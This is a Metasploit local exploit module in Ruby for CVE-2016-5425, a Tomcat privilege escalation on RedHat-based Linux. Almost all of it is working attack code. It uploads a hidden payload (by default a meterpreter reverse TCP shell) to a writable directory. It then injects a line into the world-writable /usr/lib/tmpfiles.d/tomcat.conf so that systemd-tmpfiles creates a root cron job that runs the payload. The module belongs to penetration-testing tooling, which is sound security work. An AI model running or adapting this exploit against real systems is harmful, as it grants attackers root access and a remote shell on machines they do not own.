### # # This exploit sample shows how an exploit module could be written to exploit # a bug in a command on a linux computer for priv esc. # ### class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Exploit::Retry include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in RedHat based systems where improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf for Apache Tomcat versions before 7.0.54-8. This may also work against The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage temporary files including their creation. With this weak permission, we're able to inject commands into systemd-tmpfiles service to write a cron job to execute our payload. systemd-tmpfiles is executed by default on boot on RedHat-based systems through systemd-tmpfiles-setup.service. Depending on the system in use, the execution of systemd-tmpfiles could also be triggered by other services, cronjobs, startup scripts etc. This module was tested against Tomcat 7.0.54-3 on Fedora 21. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Dawid Golunski ' # original PoC, analysis, discovery ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 1800, # 30min 'payload' => 'linux/x64/meterpreter_reverse_tcp' }, 'References' => [ ['EDB', '40488' ], ['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'], ['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'], ['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info ['CVE', '2016-5425'] ], 'DisclosureDate' => '2016-10-10', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), ] end # Simplify pulling the writable directory variable def base_dir datastore['WritableDir'].to_s end def tomcat_conf '/usr/lib/tmpfiles.d/tomcat.conf' end def suid?(file) get_suid_files(file).include? file end def check package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"') if package.nil? || package.empty? return CheckCode::Safe('Unable to execute command to determine installed pacakges') end package = package.sub('tomcat-', '').strip # fedora based cleanup package = package.sub(/\.fc\d\d\.noarch/, '') # rhel/centos based cleanup package = package.sub(/\.el\d_\d\.noarch/, '') package = Rex::Version.new(package) # The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says # only 7 is effected, so we're going to go off their write-up. if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8') return CheckCode::Appears("Vulnerable app version detected: #{package}") end CheckCode::Safe("Unexploitable tomcat packages found: #{package}") end def exploit # Check if we're already root if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end unless writable? tomcat_conf fail_with Failure::BadConfig, "#{tomcat_conf} is not writable" end vprint_status("Creating backup of #{tomcat_conf}") @tomcat_conf_content = read_file(tomcat_conf) path = store_loot( tomcat_conf, 'text/plain', rhost, @tomcat_conf_content, 'tomcat.conf' ) print_good("Original #{tomcat_conf} backed up to #{path}") # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" vprint_status("Uploading Payload to #{payload_path}") upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup(payload_path) # write in our payload execution vprint_status("Writing permission elevation into #{tomcat_conf}") cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}" print_status("Creating cron job in #{cron_job}") # The POC shows 2 options, a cron answer, and copy bash answer. # Initially I attempted to copy our payload, set suid and root owner # however it seemed to need 2 service restart to apply all the permissions. # I never figured out why it was like that, even chaining copying bash in, then # launching the payload from the bash instance etc. We opt for the cron # which may take 1 additional minute, and rely on cron, but is much more stable cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}") register_file_for_cleanup(cron_job) # we now need systemd-tmpfiles to restart print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service") succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do file? cron_job end unless succeeded print_error("#{cron_job} not found, exploit aborted") return end print_status('Waiting on cron to execute the payload (~1 minute)') end def cleanup unless @tomcat_conf_content.nil? write_file(tomcat_conf, @tomcat_conf_content) end super end end